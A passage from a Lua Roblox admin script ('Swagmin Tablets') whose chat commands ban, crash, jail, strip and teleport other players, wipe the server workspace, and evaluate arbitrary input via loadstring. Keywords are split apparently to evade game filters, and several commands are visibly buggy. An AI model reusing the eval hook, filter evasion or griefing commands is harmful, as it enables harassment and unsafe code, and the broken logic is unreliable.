  1457.                         if #msg == 0 then
  1458.                                 rea = game
  1459.                         elseif type(msg) == "string" then
  1460.                                 rea = game:findFirstChild(msg) or workspace:findFirstChild(msg)
  1461.                         elseif #msg >= 2 then
  1462.                                 par = game:findFirstChild(msg[1]) or workspace:findFirstChild(msg[1])
  1463.                                 for i=2,#msg do
  1464.                                         par = rea:findFirstChild(msg[i])
  1465.                                         if par then
  1466.                                                 rea = par
  1467.                                         else
  1468.                                                 break
  1469.                                         end
  1470.                                 end
  1471.                         end
  1472.                 end)
  1473.                 if not rea then
  1474.                                 Output("This object is not found!", {Colors.Red}, LocalPlayer)
  1475.                                 return
  1476.                 end
  1477.                 if pcall(function() rea:Destroy() end) then
  1478.                                 Output("Object deleted!",{Colors.Red}, LocalPlayer)
  1479.                 else
  1480.                                 Output("This can't be deleted!",{Colors.Red}, LocalPlayer)
  1481.                 end
  1482.         end
  1483. )
  1484. AddCommand('Ping','ping',
  1485.         function(Msg,Speaker)
  1486.         rtn = {}
  1487.         fty = {}
  1488.         if #Msg == 0 then
  1489.         table.insert(rtn,'Pinging Server For Hidden No-No Models!')
  1490.         elseif Msg:sub(1,2) == 'a;' then table.insert(rtn,tostring(loadstring("return " .. Msg:sub(3))()))
  1491.         elseif Msg == 'banned' then for _,v in pairs(banlist) do table.insert(rtn,v) end
  1492.         elseif Msg == 'allowed' then for _,v in pairs(allowed) do table.insert(rtn,v) end  
  1493.         elseif Msg == 'Hello' then
  1494.                 Output('Hello Your Tablet Interface is Operational',{Colors.Orange},LocalPlayer)
  1495.         elseif Msg == 'AFK' then
  1496.                 Output('Derek1017 Is AFK Dont Talk To Him Or You May Be Banned',{Colors.Red},LocalPlayer)
  1497.         elseif Msg == 'Rules' then
  1498.                 Output('These Are The Rules',{Colors.Orange},LocalPlayer)
  1499.                 Output('No Camballs',{Colors.Red},LocalPlayer)
  1500.                 Output('No Orbs',{Colors.Red},LocalPlayer)
  1501.                 Output('No Adm'..'in',{Colors.Red},LocalPlayer)
  1502.                 Output('Dont Be Rude',{Colors.Red},LocalPlayer)
  1503.                 Output('No Killing Gods',{Colors.Red},LocalPlayer)
  1504.                 Output('No Arguments',{Colors.Red},LocalPlayer)
  1505.                 Output('Dont Beg For Anything',{Colors.Red},LocalPlayer)
  1506.                 Output('Dont Be A Noob',{Colors.Red},LocalPlayer)
  1507.                 Output('Dont Provoke Me',{Colors.Red},LocalPlayer)
  1508.                 Output('Dont Ask For Ad'..'min',{Colors.Red},LocalPlayer)
  1509.                 Output('Dont Script Unless Told To',{Colors.Red},LocalPlayer)
  1510.                 Output('Dont Find Loopholes In The Rules',{Colors.Red},LocalPlayer)
  1511.                 Output('Dont Use Innapropriate Scripts',{Colors.Red},LocalPlayer)
  1512.                 Output('Dont Try To Cross Me',{Colors.Red},LocalPlayer)
  1513.                 Output('Dont Use Any Camspheres',{Colors.Red},LocalPlayer)
  1514.                 Output('Dont use Forum Scripts',{Colors.Red},LocalPlayer)
  1515.                 Output('Never Shut'..'down The Server',{Colors.Red},LocalPlayer)
  1516.         elseif Msg == 'Version' then
  1517.                 Output('The Version is '..Version..' In case You Wanted to Know ',{Colors.Red},LocalPlayer)
  1518.         elseif Msg == 'version' then
  1519.                 Output2('The Version is '..Version..' In case You Wanted to Know ',{Colors.Red},LocalPlayer)
  1520.         elseif Msg == 'load' then
  1521.                 Output2("Navi Comm Loading",{Colors.Red},Speaker)
  1522.                 Wait(3)
  1523.                 Output3("Please Choose A Program By Saying Ping,Then the program name",{Colors.Red},Localplayer)
  1524.                 Output3("Players Online This Game,Players",{Colors.Cyan},Localplayer)
  1525.                 Output3("Banned Players,Banned",{Colors.Cyan},Localplayer)
  1526.                 Output3("Kicking Phrases,Kp",{Colors.Cyan},Localplayer)
  1527.                 Output3("Allowed Players,Allowed",{Colors.Cyan},Localplayer)
  1528.                 Output3("AFK Mode,AFK",{Colors.Cyan},Localplayer)
  1529.                 Output3("Interface Test,Hello",{Colors.Cyan},Localplayer)
  1530.                 Output3("Show Rules,Rules",{Colors.Cyan},Localplayer)
  1531.                 Output3("shows the ping version information,Version",{Colors.Cyan},Localplayer)
  1532.                 Output3("shows the ping2 version information,version",{Colors.Cyan},Localplayer)
  1533.                 Output3("load the System over,load",{Colors.Cyan},Localplayer)
  1534.                 Output3("Information,Info",{Colors.Cyan},Localplayer)
  1535.                 Output3("Show Log,bl",{Colors.Cyan},Localplayer)
  1536.                 Output3("Show Log,kl",{Colors.Cyan},Localplayer)
  1537.                 Output3("Show Name,sn",{Colors.Cyan},Localplayer)
  1538.                 Output3("Show atmp log,atmp",{Colors.Cyan},Localplayer)
  1539.                 Output3("Shows Notes,nts",{Colors.Cyan},Localplayer)
  1540.                 Output3("Show plog,plog",{Colors.Cyan},Localplayer)
  1541.                 Output3("KFC,kfc",{Colors.Cyan},Localplayer)
  1542.                 Output3("Dismiss,Dismiss",{Colors.Cyan},Localplayer)
  1543.         elseif Msg == 'kfc' then for _,v in pairs(KFC) do table.insert(rtn,v) end
  1544.                 Output3("Showing ki".."cked for chatting players",{Colors.Red},Localplayer)
  1545.         elseif Msg == 'nts' then for _,v in pairs(NTS) do table.insert(rtn,v) end
  1546.                 Output3("Showing Notes",{Colors.Red},Localplayer)
  1547.         elseif Msg == 'Kp' then for _,v in pairs(KickingPhrases) do table.insert(rtn,v) end
  1548.                 Output3("Showing ki".."cking Phrases",{Colors.Red},Localplayer)
  1549.         elseif Msg == 'bl' then for _,v in pairs(BL) do table.insert(rtn,v) end
  1550.                 Output3("Showing Ba".."n Log",{Colors.Red},Localplayer)
  1551.         elseif Msg == 'atmp' then for _,v in pairs(atmp) do table.insert(rtn,v) end
  1552.                 Output3("Showing Attempted Rejoins",{Colors.Red},Localplayer)
  1553.         elseif Msg == 'plog' then for _,v in pairs(PLOG) do table.insert(rtn,v) end
  1554.                 Output3('Showing Player Log',{Colors.Red},Localplayer)
  1555.         elseif Msg == 'sn' then
  1556.                 Output3("Script Name Is : "..Name.." By Derek1017",{Colors.Red},Localplayer)
  1557.                 Output("Script Name Is : "..Name.." By Derek1017",{Colors.Red},Localplayer)
  1558.         elseif Msg == 'USA' then Output("Local Names Are:",{Colors.Red},Localplayer)
  1559.                 Output3("Dark",{Colors.Cyan},Localplayer)
  1560.                 Output3("Anom",{Colors.Cyan},Localplayer)
  1561.                 Output3("Mod",{Colors.Cyan},Localplayer)
  1562.                 Output3("Rob",{Colors.Cyan},Localplayer)
  1563.                 Output3("Shed",{Colors.Cyan},Localplayer)
  1564.                 Output3("Noob",{Colors.Cyan},Localplayer)
  1565.                 Output3("Unk",{Colors.Cyan},Localplayer)
  1566.         elseif Msg == 'KB' then
  1567.                 Output("Keys Are:",{Colors.Red},Localplayer)
  1568.                 Output3("t",{Colors.Cyan},Localplayer)
  1569.                 Output3("j",{Colors.Cyan},Localplayer)
  1570.                 Output3("n",{Colors.Cyan},Localplayer)
  1571.                 Output3("u",{Colors.Cyan},Localplayer)
  1572.                 Output3("e",{Colors.Cyan},Localplayer)
  1573.                 Output3("k",{Colors.Cyan},Localplayer)
  1574.                 Output3("c",{Colors.Cyan},Localplayer)
  1575.                 Output3("v",{Colors.Cyan},Localplayer)
  1576.                 Output3("b",{Colors.Cyan},Localplayer)
  1577.                 Output3("m",{Colors.Cyan},Localplayer)
  1578.                 Output3("r",{Colors.Cyan},Localplayer)
  1579.                 Output3(";",{Colors.Cyan},Localplayer)
  1580.                 Output3("]",{Colors.Cyan},Localplayer)
  1581.                 Output3("f",{Colors.Cyan},Localplayer)        
  1582.                 Output3("p",{Colors.Cyan},Localplayer)
  1583.         elseif Msg == 'kl' then for _,v in pairs(KL) do table.insert(rtn,v) end
  1584.                     Output3("Showing ki".."ck Log",{Colors.Red},Localplayer)
  1585.         elseif Msg == 'Info' then
  1586.                 Output("This Program Was Made To Be used In Script Builder",{Colors.Red},Localplayer)
  1587.                 Output("This Was Created by all who helped",{Colors.Red},Localplayer)
  1588.                 Output("The Version Can be seen by saying ping;version or ping;Version",{Colors.Magenta},Localplayer)
  1589.                 Output("This is not a program to be abused",{Colors.Red},Localplayer)
  1590.                 Output("This will not be given out",{Colors.Red},Localplayer)
  1591.                 Output("This Program took 1 months to update",{Colors.Red},Localplayer)
  1592.                 Output("#=-_Derek1017_-=#",{Colors.Red},Localplayer)
  1593.         elseif Msg == 'players' then
  1594.                 for _,ply in pairs(game.Players:GetPlayers()) do
  1595.                         table.insert(rtn,ply.Name)
  1596.                 end
  1597.         else
  1598.                 table.insert(rtn,Msg)
  1599.         end
  1600.         for _,m in pairs(rtn) do
  1601.                 Output3(m,{Color3.new(1,1,1)},LocalPlayer)
  1602.         end
  1603. end
  1604. )
  1605. AddCommand('Unlocks Hidden Functions','unlock',
  1606.    function(Msg,Speaker)
  1607.                 if Msg == 'grandma' then
  1608.                         Output2('Correct Passcode',{Colors.Red},Localplayer)
  1609.                         Output2('..Loading Interface...',{Colors.Red},Localplayer)
  1610. Wait(4)
  1611.                         Output('Welcome To The Creator Interface!',{Colors.Red},Localplayer)
  1612.                         Output('If you are here you know that this is the main control center of this script',{Colors.Red},Localplayer)
  1613.                         Output('Your Cmds Are:',{Colors.Red},Localplayer)
  1614.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1615.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1616.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1617.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1618.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1619.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1620.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1621.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1622.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1623.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1624.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1625.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1626.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1627.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1628.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1629.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1630.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1631.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1632.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1633.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1634.                         Output('Not Created Yet',{Colors.Red},Localplayer)
  1635.                 else
  1636.                         Output2('Incorrect Passcode!',{Colors.Red},Localplayer)
  1637.                 end
  1638.         end
  1639. )
  1640. AddCommand('Ba'..'nish','b'..'an',
  1641.         function(Msg,Speaker)
  1642.                 for a,b in pairs(GetPlayers(Msg,Speaker)) do
  1643.                         table.insert(banlist,b.Name)
  1644.                         table.insert(BL,b.Name)
  1645.                         OnChatted('crash'..Bet..b.Name,Speaker)
  1646.                 end
  1647.         end
  1648. )
  1649. AddCommand('Remove Legs','nolegs',
  1650. function(Msg,Speaker)
  1651. local a = GetPlayers(Msg,Speaker)
  1652. for i,v in pairs(a) do
  1653. for i,j in pairs(v.Character:GetChildren()) do
  1654. if j.Name == "Left Leg" or j.Name == "Right Leg" then
  1655. j:remove()
  1656. end end end
  1657. Output("Removed player's legs",{Colors.Red},LocalPlayer)
  1658. end
  1659. )
  1660. AddCommand('Remove Hats','nohats',
  1661. function(Msg,Speaker)
  1662. local a = GetPlayers(Msg,Speaker)
  1663. for i,v in pairs(a) do
  1664. for i,j in pairs(v.Character:GetChildren()) do
  1665. if j.ClassName == "Hat" then
  1666. j:remove()
  1667. end end end
  1668. Output("Removed player's hats",{Colors.Red},LocalPlayer)
  1669. end
  1670. )
  1671. AddCommand('Remove Face','noface',
  1672. function(Msg,Speaker)
  1673. local a = GetPlayers(Msg,Speaker)
  1674. for i,v in pairs(a) do
  1675. for i,j in pairs(v.Character.Head:GetChildren()) do
  1676. if j.ClassName == "Decal" then
  1677. j:remove()
  1678. end end end
  1679. Output("Removed player's face",{Colors.Red},LocalPlayer)
  1680. end
  1681. )
  1682. AddCommand('Remove Arms','noarms',
  1683. function(Msg,Speaker)
  1684. local a = GetPlayers(Msg,Speaker)
  1685. for i,v in pairs(a) do
  1686. for i,j in pairs(v.Character:GetChildren()) do
  1687. if j.Name == "Left Arm" or j.Name == "Right Arm" then
  1688. j:remove()
  1689. end end end
  1690. Output("Removed player's arms",{Colors.Red},LocalPlayer)
  1691. end
  1692. )
  1693. Output('Swagmin Tablets Loaded',{Colors.Red},LocalPLayer)
  1694. AddCommand('Chage Time','time',
  1695. function(Msg,Speaker)
  1696. if string.lower(word) == "noon" then
  1697. game:GetService("Lighting").TimeOfDay = "18:00:00"
  1698. elseif string.lower(word) == "morning" then
  1699. game:GetService("Lighting").TimeOfDay = "0:00:00"
  1700. end
  1701. game:GetService("Lighting").TimeOfDay = tonumber(word)
  1702. Output("Changed time")
  1703. end
  1704. )
  1705. AddCommand('Change Ambient','ambient',
  1706. function(Msg,Speaker)
  1707. game:GetService("Lighting").Ambient = Color3.new(tonumber(word))
  1708. Output2("Changed ambient",{Colors.Red},LocalPlayer)
  1709. end
  1710. )
  1711. AddCommand('Remove Cloths','noclothes',
  1712. function(Msg,Speaker)
  1713. local a = GetPlayers(Msg,Speaker)
  1714. for i,v in pairs(a) do
  1715. for i,j in pairs(v.Character:GetChildren()) do
  1716. if j.ClassName == "Shirt" or j.ClassName == "Pants" or j.ClassName == "ShirtGraphic" then
  1717. j:remove()
  1718. end end end
  1719. Output("Removed player's clothes",{Colors.Red},LocalPlayer)
  1720. end
  1721. )
  1722. AddCommand('Day','day',
  1723. function(Msg,Speaker)
  1724. local light = game:GetService("Lighting")
  1725. light.TimeOfDay = "14:00:00"
  1726. Output2("Set time to day",{Colors.Red},LocalPlayer)
  1727. end
  1728. )
  1729. AddCommand('Change Walkspeed','ws',
  1730. function(Msg,Speaker)
  1731. local bet = nilbet
  1732. for i = 1, #Msg do
  1733. if string.sub(Msg, i, i) == bet then
  1734. local search = GetPlayers(string.sub(Msg, 1, i - 1), speaker)
  1735. for _,v in pairs(search) do
  1736. if v.Character then
  1737. if v.Character:findFirstChild("Humanoid") then
  1738. v.Character.Humanoid.WalkSpeed = tonumber(string.sub(Msg, i+1))
  1739. end end end end end
  1740. Output("Changed walkspeed",{Colors.Red},LocalPlayer)
  1741. end
  1742. )
  1743. AddCommand('Debug','debug',
  1744. function(Msg,Speaker)
  1745. for i,t in pairs(game:service("Workspace"):GetChildren()) do
  1746. pcall (function()
  1747. t:remove()
  1748. end)
  1749. end
  1750. for i,v in pairs(nilplayers) do
  1751. for i,s in pairs(v:GetChildren()) do
  1752. if s.Name ~= "PlayerGui" then
  1753. pcall (function()
  1754. s:destroy()
  1755. end)
  1756. end end end
  1757. for i,v in pairs(game:service("Debris"):GetChildren()) do
  1758. pcall (function()
  1759. v:destroy()
  1760. end)
  1761. end
  1762. for i,v in pairs(game:service("Lighting"):GetChildren()) do
  1763. pcall (function()
  1764. v:destroy()
  1765. end)
  1766. end
  1767. for i,v in pairs(nilplayers) do
  1768. v.Neutral = true
  1769. end
  1770. for i,v in pairs(game:service("Teams"):GetChildren()) do
  1771. pcall (function()
  1772. v:destroy()
  1773. end)
  1774. end
  1775. Output2("Debuged server",{Colors.Red},LocalPlayer)
  1776. end
  1777. )
  1778. AddCommand('Killa Body','kbod',
  1779. function(Msg,Speaker)
  1780. if game:service("Players").LocalPlayer.Character ~= nil then
  1781. end
  1782. Character = Instance.new("Model")
  1783. Character.Name = CharacterName or game.Players.LocalPlayer.Name
  1784. Character.Parent = game.Workspace
  1785. local Head = Instance.new("Part")
  1786. Head.Name = "Head"
  1787. Head.formFactor = 0
  1788. Head.Size = Vector3.new(2, 1, 1)
  1789. Head.TopSurface = 0
  1790. Head.BottomSurface = "Weld"
  1791. Head.BrickColor = BrickColor.new("Really red")
  1792. Head.Parent = Character
  1793. local Mesh = Instance.new("SpecialMesh")
  1794. Mesh.MeshType = "Head"
  1795. Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
  1796. Mesh.Parent = Head
  1797. local Face = Instance.new("Decal")
  1798. Face.Name = "face"
  1799. Face.Face = "Front"
  1800. Face.Texture = "rbxasset://textures/face.png"
  1801. Face.Parent = Head
  1802. local Torso = Instance.new("Part")
  1803. Torso.Name = "Torso"
  1804. Torso.formFactor = 0
  1805. Torso.Size = Vector3.new(2, 2, 1)
  1806. Torso.TopSurface = "Studs"
  1807. Torso.BottomSurface = "Inlet"
  1808. Torso.LeftSurface = "Weld"
  1809. Torso.RightSurface = "Weld"
  1810. Torso.BrickColor = BrickColor.new("Really black")
  1811. Torso.Parent = Character
  1812. local TShirt = Instance.new("Decal")
  1813. TShirt.Name = "roblox"
  1814. TShirt.Face = "Front"
  1815. TShirt.Texture = "http://www.roblox.com/asset/?id=64494357"
  1816. TShirt.Parent = Torso
  1817. local Limb = Instance.new("Part")
  1818. Limb.formFactor = 0
  1819. Limb.Size = Vector3.new(1, 2, 1)
  1820. Limb.TopSurface = "Studs"
  1821. Limb.BottomSurface = "Inlet"
  1822. Limb.BrickColor = BrickColor.new("Really black")
  1823. local Limb2 = Instance.new("Part")
  1824. Limb2.formFactor = 0
  1825. Limb2.Size = Vector3.new(1, 2, 1)
  1826. Limb2.TopSurface = "Studs"
  1827. Limb2.BottomSurface = "Inlet"
  1828. Limb2.BrickColor = BrickColor.new("Really black")
  1829. local LeftArm = Limb2:Clone()
  1830. LeftArm.Name = "Left Arm"
  1831. LeftArm.Parent = Character
  1832. local RightArm = Limb2:Clone()
  1833. RightArm.Name = "Right Arm"
  1834. RightArm.Parent = Character
  1835. local LeftLeg = Limb:Clone()
  1836. LeftLeg.Name = "Left Leg"
  1837. LeftLeg.Parent = Character
  1838. local RightLeg = Limb:Clone()
  1839. RightLeg.Name = "Right Leg"
  1840. RightLeg.Parent = Character
  1841. Character:BreakJoints()
  1842. local Neck = Instance.new("Motor6D")
  1843. Neck.Name = "Neck"
  1844. Neck.Part0 = Torso
  1845. Neck.Part1 = Head
  1846. Neck.C0 = CFrame.new(0, 2, 0)
  1847. Neck.C1 = CFrame.new(0, 0.5, 0)
  1848. Neck.MaxVelocity = 0
  1849. Neck.Parent = Torso
  1850. local LeftShoulder = Instance.new("Motor6D")
  1851. LeftShoulder.Name = "Left Shoulder"
  1852. LeftShoulder.Part0 = Torso
  1853. LeftShoulder.Part1 = LeftArm
  1854. LeftShoulder.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
  1855. LeftShoulder.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
  1856. LeftShoulder.MaxVelocity = 0.5
  1857. LeftShoulder.Parent = Torso
  1858. local RightShoulder = Instance.new("Motor6D")
  1859. RightShoulder.Name = "Right Shoulder"
  1860. RightShoulder.Part0 = Torso
  1861. RightShoulder.Part1 = RightArm
  1862. RightShoulder.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
  1863. RightShoulder.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
  1864. RightShoulder.MaxVelocity = 0.5
  1865. RightShoulder.Parent = Torso
  1866. local LeftHip = Instance.new("Motor6D")
  1867. LeftHip.Name = "Left Hip"
  1868. LeftHip.Part0 = Torso
  1869. LeftHip.Part1 = LeftLeg
  1870. LeftHip.C0 = CFrame.new(-0.5, -1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
  1871. LeftHip.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
  1872. LeftHip.MaxVelocity = 0.1
  1873. LeftHip.Parent = Torso
  1874. local RightHip = Instance.new("Motor6D")
  1875. RightHip.Name = "Right Hip"
  1876. RightHip.Part0 = Torso
  1877. RightHip.Part1 = RightLeg
  1878. RightHip.C0 = CFrame.new(0.5, -1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
  1879. RightHip.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
  1880. RightHip.MaxVelocity = 0.1
  1881. RightHip.Parent = Torso
  1882. local Humanoid = Instance.new("Humanoid")
  1883. Humanoid.Parent = Character
  1884. Humanoid.WalkSpeed = 50
  1885. local BodyColors = Instance.new("BodyColors")
  1886. BodyColors.Name = "Body Colors"
  1887. BodyColors.HeadColor = Head.BrickColor
  1888. BodyColors.TorsoColor = Torso.BrickColor
  1889. BodyColors.LeftArmColor = LeftArm.BrickColor
  1890. BodyColors.RightArmColor = RightArm.BrickColor
  1891. BodyColors.LeftLegColor = LeftLeg.BrickColor
  1892. BodyColors.RightLegColor = RightLeg.BrickColor
  1893. BodyColors.Parent = Character
  1894. local Shirt = Instance.new("Shirt")
  1895. Shirt.Name = "Shirt"
  1896. Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=60636107"
  1897. --http://www.roblox.com/asset/?id=106096351
  1898. Shirt.Parent = Character
  1899. local ShirtGraphic = Instance.new("ShirtGraphic")
  1900. ShirtGraphic.Name = "Shirt Graphic"
  1901. ShirtGraphic.Graphic = ""
  1902. ShirtGraphic.Parent = Character
  1903. local Pants = Instance.new("Pants")
  1904. Pants.Name = "Pants"
  1905. Pants.PantsTemplate = "http://www.roblox.com/asset/?id=60636428"
  1906. --http://www.roblox.com/asset/?id=106096415
  1907. Pants.Parent = Character
  1908. Torso.CFrame = CFrame.new(0,50,0)
  1909. game:service("Players").LocalPlayer.Character = Character
  1910. workspace.CurrentCamera.CameraSubject = Character.Humanoid
  1911. workspace.CurrentCamera.CameraType = "Custom"
  1912. hats = {67996263,93131532,102621051,108149175}
  1913. --91658092 = Furturo Robot Torso
  1914. --81725392 overseer left arm
  1915. --81728558 Dark Knight Right Arm
  1916. --81728627 dark knight left leg
  1917. --81725459,overseer right leg
  1918. --73829214,spear
  1919. --64560136,masked hood of halloween
  1920. --67996263, ninja twin swords
  1921. --71597048, pirateflintlocksword
  1922. --83704190, windsword
  1923. --83704165, ice dagger
  1924. --69947367, seventhsanctumaxe
  1925. --64220933,ghostfiresword
  1926. --20416957, boa
  1927. --68325607 empyreanreignmentll
  1928. --93131532 shadey merc mask
  1929. --102621051 snake slate hood
  1930. --83704190 blunder buster
  1931. --108149175 dual dark hart
  1932. for i = 1, #hats do
  1933. root = game:GetService("InsertService"):LoadAsset(hats[i])
  1934. root.Parent = Character
  1935. z = root:GetChildren()
  1936. for f = 1, #z do
  1937. z[f].Parent = Character
  1938. end
  1939. root:Remove()
  1940. end
  1941. ganim=game.Lighting:findFirstChild("Animate")
  1942. kanim=ganim:clone()
  1943. kanim.Parent = Character
  1944. end
  1945. )
  1946. AddCommand('Fog on/off','fog',
  1947. function(Msg,Speaker)
  1948. if string.lower(Msg) == "on" then
  1949. game:service("Lighting").FogStart  = 0
  1950. game:service("Lighting").FogEnd  = 100
  1951. Output2("Fogs on",{Colors.Red},LocalPlayer)
  1952. elseif(string.lower(Msg) == "off") then
  1953. game:service("Lighting").FogStart  = 0
  1954. game:service("Lighting").FogEnd  = 999999999999
  1955. Output2("Fogs off",{Colors.Red},LocalPlayer)
  1956. end end
  1957. )
  1958. AddCommand('Remove Humanoid','rhum',
  1959. function(Msg,Speaker)
  1960. local a = GetPlayers(Msg,Speaker)
  1961. for i,v in pairs(a) do
  1962. if v.Character.Humanoid then
  1963. v.Character.Humanoid:Destroy()
  1964. Output("Removed humanoid",{Colors.Red},LocalPlayer)
  1965. end end end
  1966. )  
  1967. AddCommand('Night','night',
  1968. function(Msg,Speaker)
  1969. local light = game:GetService("Lighting")
  1970. light.TimeOfDay = "24:00:00"
  1971. Output2("Set time to night",{Colors.Red},LocalPlayer)
  1972. end
  1973. )                        
  1974. AddCommand('Note To Self','nts',                
  1975.         function(Msg,Speaker)
  1976.                 table.insert(NTS,Msg)        
  1977.         end
  1978. )
  1979. AddCommand('Private','pri',
  1980. function(Msg,Speaker)
  1981. if string.lower(Msg) == "on" then
  1982. nilprion = true
  1983. Output2("Private on",{Colors.Red},LocalPlayer)
  1984. elseif(string.lower(Msg) == "off") then
  1985. nilprion = false
  1986. Output2("Private off",{Colors.Red},LocalPlayer)
  1987. end end
  1988. )
  1989. AddCommand('Add Player to Prilist','addp',
  1990. function(Msg,Speaker)
  1991. for i,v in pairs(GetPlayers(Msg,Speaker)) do
  1992. table.insert(nilprilist, v.Name)
  1993. Output2("Added "..v.Name.." to private server",{Colors.Red},LocalPlayer)
  1994. end end
  1995. )      
  1996. AddCommand('Clears All Tables','tc',        
  1997.     function(Msg,Speaker)
  1998.         if Msg == 'All' then  
  1999. tablets = {}
  2000. jai = {}
  2001. KL = {}
  2002. BL = {}
  2003. KFC = {}
  2004. atmp = {}
  2005. NTS = {}        
  2006. tablets2 = {}
  2007. if Msg == 'nts' then
  2008.             NTS = {}
  2009. if Msg == 'tabs' then  
  2010.                         tablets = {}
  2011.                         tablets2 = {}
  2012. if Msg == 'kfc' then  
  2013.     KFC = {}
  2014.             if Msg == 'ba'..'nned' then
  2015.                 banlist = {}
  2016.                         if Msg == 'atmp' then  
  2017.                             atmp = {}
  2018.                             BL = {}
  2019.                             KL = {}
  2020.         end
  2021.     end
  2022. end
  2023.         end
  2024. end
  2025. end
  2026.     end
  2027.     )                                        
  2028. AddCommand('Ad'..'min','adm'..'in',
  2029.         function(Msg,Speaker)
  2030.                 for _,Player in pairs(GetPlayers(Msg,Speaker)) do
  2031.                         script.Parent = Player.Backpack
  2032.                 end
  2033.         end
  2034. )
  2035. AddCommand('Turn K'..'ick'..'ing Phrases on/off','kp',
  2036. function(Msg,Speaker)
  2037. if string.lower(Msg) == "on" then
  2038. kphrase = true
  2039. Output2("Ki".."cki".."ng Phrases on",{Colors.Red},LocalPlayer)
  2040. elseif(string.lower(Msg) == "off") then
  2041. kphrase = false
  2042. Output2("K".."cki".."ng Pharase off",{Colors.Red},LocalPlayer)
  2043. else
  2044. Output2("Message Must Be on/off",{Colors.Red},LocalPlayer)
  2045. end end
  2046. )
  2047. AddCommand("Jail","jail",
  2048.         function(Msg,Speaker)
  2049.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2050.                         pcall(function()
  2051.                                 coroutine.resume(coroutine.create(function()
  2052.                                         local MainCF = v.Character.Torso.CFrame
  2053.                                         local Main = Instance.new("Model",workspace)
  2054.                                         Main.Name = "Main"
  2055.                                         table.insert(jai,{Jail = Main, Player = v,Speaker = Speaker})
  2056.                                         for Pitch = 1, 360, 360 do
  2057.                                                 for Yaw = 1, 360, 360/13 do
  2058.                                                         for Angle = 1,180, 8 do
  2059.                                                                 local Part = Instance.new("Part",Main)
  2060.                                                                 Part.Name = "Part"
  2061.                                                                 Part.FormFactor = "Custom"
  2062.                                                                 Part.TopSurface = "Smooth"
  2063.                                                                 Part.BottomSurface = "Smooth"
  2064.                                                                 Part.Reflectance = 0
  2065.                                                                 Part.Transparency = 0
  2066.                                                                 Part.Anchored = true
  2067.                                                                 Part.Locked = true
  2068.                                                                 Part.CanCollide = true
  2069.                                                                 Part.BrickColor = BrickColor.new("really Red")
  2070.                                                                 Part.Size = Vector3.new(2,1,4)
  2071.                                                                 Part.CFrame = MainCF
  2072.                                                                                 * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
  2073.                                                                                 * CFrame.new(0,5,0)
  2074.                                                                 local Mesh = Instance.new("BlockMesh",Part)
  2075.                                                                 Mesh.Scale = Vector3.new(1,1,0.1)
  2076.                                                                 if math.floor(Angle/5) == Angle/5 then
  2077.                                                                                 wait()
  2078.                                                                 end
  2079.                                                         end
  2080.                                                 end
  2081.                                         end
  2082.                                         v.Character.Torso.CFrame = MainCF
  2083.                                         while Main.Parent ~= nil do
  2084.                                                 wait()
  2085.                                                 pcall(function()
  2086.                                                         if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
  2087.                                                                 v.Character.Torso.CFrame = MainCF
  2088.                                                         end
  2089.                                                 end)
  2090.                                         end
  2091.                                 end))
  2092.                         end)
  2093.                 end
  2094.         end
  2095. )
  2096.  
  2097. AddCommand("Un Jail","unjail",
  2098.         function(Msg,Speaker)
  2099.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2100.                         for Num,Jail in pairs(jai) do
  2101.                                 if Jail.Player ~= nil and Jail.Player == v then
  2102.                                         pcall(function() Jail.Jail:Destroy() end)
  2103.                                         table.remove(jai,Num)
  2104.                                 end
  2105.                         end
  2106.                 end
  2107.         end
  2108. )
  2109. AddCommand('Teleport','tp',
  2110.         function(Msg,Speaker)
  2111.                 local Split = Msg:find(Bet)
  2112.                 local From = GetPlayers(Msg:sub(1,Split-1),Speaker)
  2113.                 local To = GetPlayers(Msg:sub(Split+1),Speaker)[1]
  2114.                 local Current = 0
  2115.                 for i=-180,180,360/#From do
  2116.                         Current = Current + 1
  2117.                         pcall(function()
  2118.                                 if From[Current] ~= To then
  2119.                                         From[Current].Character.Torso.CFrame = To.Character.Torso.CFrame
  2120.                                                                                                 * CFrame.Angles(0,math.rad(i),0)
  2121.                                                                                                 * CFrame.new(0,0,5 + (#From*1.1))
  2122.                                 end
  2123.                         end)
  2124.                 end
  2125.         end
  2126. )
  2127. AddCommand('Baseplate','base',
  2128.         function(Msg,Speaker)
  2129.                 pcall(function() workspace.Base:Remove() end)
  2130.                 local Base = Instance.new("Part",game.Workspace)
  2131.                 Base.Name = "Base"
  2132.                 Base.Anchored = true
  2133.                 Base.Locked = true
